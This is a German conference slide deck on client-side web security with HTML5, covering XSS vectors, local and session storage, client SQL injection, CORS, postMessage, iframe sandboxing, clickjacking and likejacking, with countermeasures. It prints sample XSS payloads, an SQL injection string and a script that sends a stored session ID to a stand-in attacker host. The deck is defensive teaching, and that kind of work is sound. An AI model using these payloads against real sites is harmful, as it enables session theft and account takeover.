+ All Categories
Home > Documents > Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Date post: 05-Jun-2020
Category:
Upload: others
View: 9 times
Download: 0 times
Share this document with a friend
85
Client Security im Web 2.0 und mit HTML5 Carsten Eilers / www.ceilers-it.de
Transcript
Page 1: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Client Security im Web 2.0 und mit HTML5

Carsten Eilers / www.ceilers-it.de

Page 2: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Vorstellung• Berater für IT-Sicherheit

– Web Security (Pentests, Beratung, ...)– ...

• Autor– PHP Magazin, Entwickler Magazin– Blog: www.ceilers-news.de – ...

• Schwachstellen- und Exploitsammlung

Page 3: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlußbemerkungen

Page 4: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Es war einmal... (1)

• Ajax in Action 2007: „AJAX, aber sicher!“– XSS und CSRF– JavaScript Port Scanner– Schwachstellenscanner Jikto– JavaScript-Malware allgemein– JavaScript-/JSON-Hijacking– „Fazit“: Verhindern Sie XSS & CSRF

Page 5: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Es war einmal... (2)• Ajax in Action 2008

„Sicherheit und der Ajax-Client“– SQL-Injection via Client– Angriffe auf Presentation Layer– Look&Feel-Hacks– Ganz neu: Clickjacking

• (Einzige) Gegenmaßnahme: Framebuster

Page 6: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Die Gegenwart• HTML5 bringt

– neue Funktionen– neue Attribute– neue Tags

• Clickjacking & Likejacking sind Alltag

Page 7: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Was ist HTML5?• Die nächste Version von HTML• Fast eine Entwicklungsumgebung• Drei Aspekte:

– Inhalt (HTML5)– Präsentation (CSS)– Interaktion mit dem Benutzer (JavaScript)

• Kein Standard / „Work in progress“

Page 8: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 9: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (1)

Kein Standard

=> Jeder macht, was er will wie er will

Unterschiedliche Interpretationen sind immer unsicher

Page 10: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (2)• Neue Tags

– z.B. audio- und video-Tags:<audio src=1 onerror=“alert(1)“><video src=1 onerror=“alert(1)“>

• Geänderte und neue Attribute für alte Tags– z.B. Attribute in schließenden Tags:</a onmouseover=“alert(1)“>

Page 11: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (3)z.B. autofocus-Attribut:

• <input autofocus onfocus=alert(1)>

• <select autofocus onfocus=alert(1)>

• <textarea autofocus onfocus=alert(1)>

• <keygen autofocus onfocus=alert(1)>

Page 12: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (4)• autofocus-Attribut bringt Element mit

schädlichen Inhalt in den Focus

• poster- und srcdoc-Attribut erlauben Verweis auf schädliche externe Ressourcen

Page 13: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (5)• SVG ist eine Grafik?

• SVG ist auch ein Einfallstor für XSS:

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>

• z.B. in Firefox < 4

Page 14: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (6)• Lange Liste im

„HTML5 Security Cheatsheet“

• Insbesondere Blacklists gefährdet • Auch Whitelists anpassen

– z.B. die früher harmlosen schließenden Tags wie </a>

Page 15: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & XSS (7)

Wann haben Sie das letzte Mal die Schutzmaßnahmen „alter“ Anwendungen aktualisiert?

Oder auch nur angesehen?

„Never touch a running system“! ? ??

Page 16: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 17: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Local & Session Storage• 5-10 MB Speicher als Key-Value-Paare

(Cookie 4 KB)

• Inhalt wird nicht wie bei Cookies an den Server gesendet

• Session Storage an Fenster gebunden,Local Storage ist persistent

Page 18: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (1)• Zugriff an Hostname gebundengeocities.com/gute-seiten vs.geocities.com/boese-seiten

• Zugriff über XSS<script>document.write("<img src='http://angreifer.example/klau.php?geklaut="+localStorage.getItem('SessionID')+"'>");</script>

Page 19: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (2)• Zugriff durch Schadsoftware auf dem

Client• Zugriff durch andere Benutzer

• Z.B. Google Mail: Statt Cookies ausspähen o.Ä. nun direkter Zugriff auf dem Client möglich

Page 20: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (3)

Wie erkennt man Angriffe?

Lese-Zugriffe? - Gar nicht!

Manipulationen? - Eigentlich auch nicht!

Page 21: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (4)

Beispiel Session-ID:• Cookie mit HTTPOnly-Flag

(und ggf. Secure-Flag)

• Local StorageJavaScript soll zugreifen können!

Page 22: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (5)

Immer daran denken:• Daten sind unverschlüsselt,

jeder auf dem Client kann darauf zugreifen

• Daten bleiben „ewig“ erhalten,außer Benutzer oder Anwendung löscht

Page 23: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (6)

Schutzmaßnahmen:• Keine Sensitiven Daten speichern

• Löschen nicht vergessen!

Page 24: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Local Storage (7)• Verschlüsselung meist nutzlos

– sowieso nur „Zeitschloss“– Schlüssel auf Client

=> Daten de fakto unverschlüsselt– Schlüssel auf Server

=> keine Offline-Nutzung

Page 25: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 26: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & SQL-Datenbank (1)• SQL-Datenbank auf dem Client =>

SQL-Injection betrifft auch den Client

• Prepared Statements statt zusammengesetzter Strings

• HTML5 Database API hilft

Page 27: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & SQL-Datenbank (2)executeSql("SELECT spalte FROM tabelle WHERE wert=" + eingabe);

executeSql("SELECT spalte FROM tabelle WHERE wert=?", [eingabe]);

Eingabe kein String, sondern Literal• 'nix' OR 1=1

Page 28: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & SQL-Datenbank (3)

Auch ohne SQL-Injection gefährdet

• Same Origin Policy schützt:– Daten über HTTPS gespeichert

=> Zugriff nur über HTTPS möglich– Besser als 'Secure'-Flag für Cookies, da

automatisch

Page 29: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & SQL-Datenbank (4)• Same Origin Policy schützt nicht...

– ... vor XSS– ... bei DNS-Hijacking– ... bei Manipulation der lokalen

Namensauflösung– ... bei MitM-Angriff

Page 30: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & SQL-Datenbank (5)

Zufällige Namen erschweren Zugriffe• eindeutig, aber nicht erratbar• Onlinenutzung:

Auf Server speichern• Offlinenutzung:

„Offline-Passwort“ + Benutzername = Datenbankname

Page 31: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & SQL-Datenbank (6)

Wie erkennt man Angriffe?

Gar nicht

(siehe Local Storage)

Page 32: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Speicher (1)Client-Daten können Schadcode enthalten

• Auf Server prüfen ist selbstverständlich

• Auf Client gegen XSS kodieren– z.B. mit OWASP Enterprise Security API

(owasp-esapi-js)– JavaScript-Funktion kann überschrieben werden!

Page 33: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Speicher (2)Egal ob Local Storage oder SQL-DB:Speichern Sie erst nach Zustimmung des Benutzers!• Gilt nur für den aktuellen Rechner• den sie nicht an vorhandener DB erkennen• Besser:

– Allgemein gültige DB-Tabelle enthält letzte Session-ID– Vergleich mit Wert auf dem Server

Page 34: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 35: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Wurmkuren (1)Ein XSS-Wurm verbreitet sich über unsere Webanwendung

Bisher: • Schwachstelle beheben, • Wurmcode auf dem Server löschen,• Wurm tot

Page 36: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Wurmkuren (2)Ein XSS-Wurm verbreitet sich über unsere Webanwendung

Jetzt: • Schwachstelle beheben, • Wurmcode auf dem Server löschen,• Wurmcode auf den Clients löschen,• Wurm tot

Wirklich?

Page 37: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Wurmkuren (3)

Wie lange dauert es, bis sich alle Benutzer mal wieder angemeldet haben?

Bis dahin Gefahr bei Offline-Nutzung

Was ist, wenn der Wurm weiteren Schadcode nachlädt?

Page 38: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 39: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Session Storage (1)• Wie Local Storage, aber auf Session-

Dauer beschränkt

• Same Origin Policy schützt:– Zugriffe an Domain, Protokoll, Port

gebunden– Kein Schutz vor XSS, aber vor „böser

Umgebung“

Page 40: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Session Storage (2)• Löschen nicht vergessen!

• Beispiel– Webmail, mehrere Tabs offen– In einem wird sich ausgeloggt– Andere bleiben offen– Darin Zugriff auf Session Storage möglich

Page 41: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Session Storage (3)

Mögliche Lösung:• Cookie enthält aktuellen Status• Nach Einloggen Cookie-Wert, Datum

und Uhrzeit in den Session Storage• Bei jedem Zugriff Werte vergleichen• Cookie ist immer & überall aktuell

Page 42: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 43: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Cross Origin (1)• Cross Origin Requests hebeln Same

Origin Policy aus

• Einschränkung über 'Access-Control-Allow-Origin'-Header– Ein '*' - und die Anwendung ist offen für alle– Vorsicht vor Vereinfachungen

(z.B. eingebundene Konfigurationsdatei)

Page 44: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Cross Origin (2)

'Origin'-Header nicht vertrauenswürdig!

if ($_SERVER['HTTP_ORIGIN'] == "[Server]") {

header('Access-Control-Allow-Origin: [Server]');

// Ausgabe vertraulicher Informationen

} else {

// Ausgabe harmloser Informationen

}

zusätzlich Authentifizierung nötig

Page 45: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Cross Origin (3)

Authentifizierung:• Signalisiert über

'Access-Control-Allow-Credentials'-Header– z.B. in Antwort auf Preflight-Request

• Cross Origin Request mit 'Credentials'-Flag und Authentifizierungsdaten

Page 46: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Cross Origin (4)

Vertrauen, wem Vertrauen gebührt!• Website, die Request sendet, vertraut

auf korrekte Antwort• Website, die Request empfängt,

vertraut auf Autorisierung

Was ist mit kompromittiertem Server?

Page 47: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Cross Origin (5)

Bösartige Requests• Jeder kann Cross Origin Request

senden– Nur vor komplizierten Requests Prüfung

mit Preflight-Request• Browser prüfen nur, ob auf Antwort

zugegriffen werden darf

Page 48: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

Page 49: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & postMessage() (1)

Ziel: Daten zwischen Skripten aus verschiedenen Domains austauschen• Aufruf mit Daten und Domain des Ziels• Nützlich für Widgets

– Früher: Eingesperrt in iframe oder offen im script-Tag

– Nun: Sicherheit des iframes, Kommunikation des script-Tag

Page 50: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & postMessage() (2)Sicherheit: • Browser liefert Daten nur aus, wenn

Domain stimmt• Datenleck nicht möglich

– Zieldomain genau angeben, nicht als '*' • Aber woher kommen die Daten?

– Absender im origin-Attribut prüfen– XSS?

Page 51: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()

– iframe im Sandkasten

Page 52: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & iframe-sandbox (1)

Neu: sandbox-Attribut für iframes• beschränkt Möglichkeiten für iframes

– Per Default • kein Zugriff auf DOM der einbettenden Seite,

Cookies, Local Storage• kein JavaScript-Code, keine Plugins, keine

Formulare– Gezieltes Aufheben möglich

Page 53: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & iframe-sandbox (2)• allow-same-origin

iframe wird wie aus eigener Domain behandelt

• allow-top-navigationOberste Ebene des akt. Inhalts ändern

• allow-formsFormulare sind zulässig

• allow-skriptsSkripte erlaubt, Zugriff auf Umgebung möglich

Page 54: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & iframe-sandbox (3)• Zusätzliche Sicherheitsmaßnahme

– Scheitert XSS-Filter, schützt Sandbox vor eingeschleustem Code

• Abgestuftes Freigeben von Funktionen– Werbung in iframe ohne Rechte (Schutz

vor kompromittiertem Adserver)– Widgets in iframe mit JavaScript-

Ausführung– ...

Page 55: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Clickjacking &

– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen

Page 56: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Clickjacking (1)• Veröffentlicht 2008 von Jeremiah

Grossmann und Robert Hansen

• Opfer auf Seite des Angreifers locken• Opfer klickt etwas an• Klick landet in unsichtbaren iframe mit

anderer Website

Page 57: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Adobes „Settings Manager“

Page 58: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers
Page 59: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers
Page 60: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers
Page 61: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Clickjacking &

– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen

Page 62: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (1)

Black Hat Europe 2010: Paul Stone kombiniert Clickjacking und HTML5

Fragment-Identifier erleichtern das Zielen

Drag&Drop-API erlaubt mehr als das Entführen von Klicks

Page 63: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (2)Texte in Textfelder einfügen• Opfer verschiebt Objekt auf bösartiger Website• Beim Start wird Text des Angreifers über Drag&Drop-

API ausgewählt• Nun unsichtbaren iframe mit angegriffenen Formular

unter Mauszeiger legen• Beim Fallen lassen landet der Text im Formular

Beliebig oft wiederholen, Senden durch Clickjacking

Page 64: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Clickjacking &

– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen

Page 65: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (3)

Texte kopieren• Same Origin Policy verhindert Zugriff

auf Inhalte von anderen Domains, z.B. in iframes

• Lösung: Drag&Drop-API und Clickjacking

Page 66: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (4)• unsichtbarer iframe am Mauszeiger• gewünschtes Dokument in den iframe• Opfer muss Verschiebe-Operation starten

(Maustaste drücken)• Dokument so pos., das Ende unter

Mauszeiger• Benutzer muss Maus etwas bewegen

(Text auswählen)• Benutzer muss Maustaste loslassen

Page 67: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (5)Text ist nun selektiert

• Dokument so pos., das selektierter Text unter Mauszeiger liegt

• Drag&Drop-Aktion:Text in Textfeld einfügen, s.o.

Angreifer kann Text z.B. über getData() lesen oder Formular abschicken

Page 68: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (6)• Angreifer bestimmt Positionen• Kann einfach ganze (unbekannte) Seite

kopieren• Auch Zugriff auf Browser-Plugins

möglich

Page 69: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (7)• Alles nur Theorie?• Mai 2011: Cookiejacking im IE

– Schwachstelle im Sicherheitsmodell:file:// erlaubt Zugriff auf lokale DateienKonkret: Die Cookies

– Cookies in iframe laden– Text mit Clickjacking kopieren

– Schwachstelle im IE behoben

Page 70: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Clickjacking &

– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen

Page 71: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (8)

HTML-Quelltexte kopieren• Für Angreifer interessant:

versteckte Formularfelder etc.• Editorfunktionen für HTML helfen

(contentEditable-Attribut)

• Text in entsprechenden Bereich auf Angreifer-Seite verschieben

Page 72: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (9)

Ergebnisse unterschiedlich:• IE und Firefox:

Alles zwischen ersten und letztem sichtbaren Element

• Webkit-Browser, z.B. Chrome:Nur sichtbare Elemente, aber inkl. Attributen wie IDs, Klassen, URLs

Page 73: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Clickjacking &

– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen

Page 74: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (10)

Framebuster schützt vor Clickjacking:

<script type="text/javascript">

if (top!=self) top.location.href=self.location.href;

</script>

Framebuster lassen sich u.U. umgehen– z.B. im IE mit eingeschränkter Zone

Page 75: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

HTML5 & Clickjacking (11)

Framebuster schützte vor Clickjacking:

iframe mit Sandbox-Attribut verhindert Ausführung

Einziger Schutz: "X-FRAME-OPTIONS"-Header

Page 76: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlussbemerkungen

Page 77: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Buttonjacking (1)

Mai 2010: Erster Clickjacking-Angriff auf Facebooks „Like“-Button

Neuer Name: „Likejacking“

Seitdem liegt Facebook quasi unter Dauerbeschuss

Page 78: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Buttonjacking (2)

Problem des Like-Buttons:• Er soll eingebunden werden• Weder Framebuster noch "X-FRAME-

OPTIONS"-Header möglich• Facebook bekämpft nur Symptome

(bekannte Angriffe)

Page 79: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Buttonjacking (3)Wieso „Likejacking“?Betroffen sind alle derartigen Buttons

Sommer 2011: Twitters „Follow“-ButtonGoogles „1+“-Button

Page 80: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Buttonjacking (4)

Logische Schlussfolgerung:

Vergessen Sie „1-Klick-Buttons“,Verlangen Sie eine Bestätigung

Page 81: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlussbemerkungen

Page 82: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Schlussbemerkungen• Application Cache:

– Cache Poisoning ist möglich

• Websockets:– Böse Netzverkverbindungen aus dem Browser

heraus, z.B. BEAST (kurzzeitig)

• Zugriff auf Webcam:– Angreifer schaut Ihnen zu

• ...

Page 83: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Fragen?

Page 84: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Vielen Dank...

... für Ihre Aufmerksamkeit

Material und Links aufwww.ceilers-it.de/konferenzen/

Page 85: Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

The End


Recommended